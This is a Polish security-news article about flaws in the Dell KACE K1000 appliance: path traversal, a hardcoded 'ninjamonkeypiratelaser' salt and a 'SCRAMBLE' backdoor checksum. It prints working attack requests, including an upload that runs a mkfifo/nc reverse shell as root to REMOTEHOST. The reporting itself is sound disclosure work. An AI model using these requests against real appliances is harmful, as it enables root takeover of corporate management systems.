Przedstawiamy prosty przepis, jak trafić do artykułu na Z3S: wystarczy w swoim profesjonalnym produkcie popełnić trywialne błędy, wstawić tylną furtkę z zabawnym hasłem oraz wbudować obejście tylnej furtki na wszelki wypadek. Sukces gwarantowany!
Twórcy oprogramowania wbudowanego w różne urządzenia pewnie nie spodziewali się, że ktokolwiek będzie je kiedyś analizował. Takie przekonanie sprawiało, że zostawiali w nim różne dziwne cuda. Jedne z ciekawszych można znaleźć w profesjonalnym sprzęcie Della.
Poważne urządzenie i proste błędy
Jednym z produktów Della jest urządzenie KACE K1000. Jest to „magiczne pudełko”, które służy do automatyzacji zarządzania sprzętem oraz oprogramowaniem w sieci korporacyjnej. Wykrywanie innych urządzeń, aktualizacja oprogramowania, wymuszanie polityk bezpieczeństwa – bywa przydatne. Kilka dni temu przyjrzał mu się autor serwisu Console Cowboys i znalazł parę prawdziwych perełek.
Zacznijmy od trywialnego błędu typu path traversal. Wywołanie skryptu
POST /userui/downloadpxy.php HTTP/1.1
z treścią żądania
DOWNLOAD_SOFTWARE_ID=1227&DOWNLOAD_FILE=../../../../../../../../../../usr/local/etc/php.ini&ID=7&Download=Download
powoduje pobranie dowolnego pliku, do którego dostęp ma serwer www. Błąd sam w sobie ma umiarkowane konsekwencje – skrypt może wywołać tylko autoryzowany użytkownik. Możliwość odczytu dowolnego pliku jest jednak dobrym początkiem dalszych poszukiwań, szczególnie wtedy, kiedy odwołanie do katalogu powoduje wyliczenie znajdujących się w nim plików.
Ninja, małpa, pirat i laser
Kolejnym znaleziskiem okazał się plik
http://192.168.100.100/service/kbot_upload.php
który, w przeciwieństwie do poprzednika, nie weryfikuje, czy jest wywołany z prawidłowo zalogowanej sesji, a zamiast tego przeprowadza własne sprawdzenie praw użytkownika. Wygląda ono tak:
$checksumFn = $_GET['filename']; $fn = rawurldecode($_GET['filename']); $machineId = $_GET['machineId']; $checksum = $_GET['checksum']; $mac = $_GET['mac']; $kbotId = $_GET['kbotId']; $version = $_GET['version']; $patchScheduleId = $_GET['patchscheduleid']; if ($checksum != self::calcTokenChecksum($machineId, $checksumFn, $mac) && $checksum != "SCRAMBLE") { KBLog($_SERVER["REMOTE_ADDR"] . " token checksum did not match, " ."($machineId, $checksumFn, $mac)"); KBLog($_SERVER['REMOTE_ADDR'] . " returning 500 " ."from HandlePUT(".construct_url($_GET).")"); header("Status: 500", true, 500); return; }
Zanim jednak przeanalizujemy dokładniej ten fragment, spójrzmy jak liczona jest zmienna checksum:
md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff');
Zmienna, której wartośc powinna decydować o tym, czy skrypt pozwoli na wgranie własngo pliku na serwer, liczona jest jako funkcja skrótu MD5 z nazwy pliku, identyfikatora urządzenia, adresu MAC oraz soli zaczynającej się od słów ninjamonkeypiratelaser. Ktoś miał niezła fantazję. Ale to oczywiście nie wszystko.
Tylna furtka w tylnej furtce
Obliczenie prawidłowej wartości zmiennej zależy od kilku czynników i prawdopodobnie powodowało problemy, które twórca kodu opisał w komentarzu:
private static function calcTokenChecksum($filename, $machineId, $mac) { //return md5("$filename $machineId $mac" . $ip . // 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff'); // our tracking of ips really sucks and when I'm vpn'ed from // home I couldn't get patching to work, cause the ip that // was on the machine record was different from the // remote server ip. return md5("$filename $machineId $mac" . 'ninjamonkeypiratelaser#[@g3rnboawi9e9ff'); }
Jak zatem ominąć problem? Zawsze można w kodzie zaszyć dodatkowe obejście! Jeśli spojrzycie na kod paragraf wyżej, znajdziecie tam dodatkowy warunek – jeśli zmienna checksum równa jest SCRAMBLE, to skrypt jest wykonywany.
Teraz już tylko root
Co prawda skrypt kbot_upload.php pozwala na zapisywanie plików w dowolnym miejscu serwera (znowu błąd typu path traversal), to niestety tylko z prawami serwera www. Na szczęście i na to znajdzie się rozwiązanie. Najpierw znajdujemy folder z prawami tworzenia nowych plików (np. /kbox/kboxwww/tmp) a następnie wykorzystujemy plik KSudoClient.class.php, który co prawda nie znajduje się w drzewie plików serwera www, ale pozwala na wykonanie polecenia z uprawnieniami roota. Jeśli chcemy więc by urządzenie Della połączyło się z naszym serwerem, udostępniając nam powłokę z uprawnieniami roota, wystarczy wydać następujące polecenie:
POST /service/kbot_upload.php?filename=db.php&machineId=../../../kboxwww/tmp/&checksum=SCRAMBLE&mac=xxx&kbotId=blah&version=blah&patchsecheduleid=blah HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Content-Length: 190 <?php require_once 'KSudoClient.class.php'; KSudoClient::RunCommandWait("rm /kbox/kboxwww/tmp/db.php;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc REMOTEHOST 4444 >/tmp/f");?>
Teraz wystarczy już tylko wywołać plik
http://192.168.100.100/service/tmp/db.php
by otrzymać upragnionego roota. Na GitHubie znajdziecie skrypt automatyzujący całą operację. Na zakończenie oklaski dla autorów oprogramowania oraz zrzut ekranu pokazujący działanie skryptu w praktyce.
Komentarze
Czas zacząć pozywać producentów. Ta fuszera musi się skończyć
„Na GitHubie znajdzieCIE skrypt”.
Dzięki, poprawione.
„znajdzieCię skrypt”
Dzięki, poprawione.
Czekaj minus1 bo akurat wygrasz.
z innej beczki..
poczytałbym jakiś artykuł o trojanie, który ponoć zainfekowal komputery zespołu F1 Marussia przed testami w Bahrainie, bo wcześniej przegapiłem tę historię :D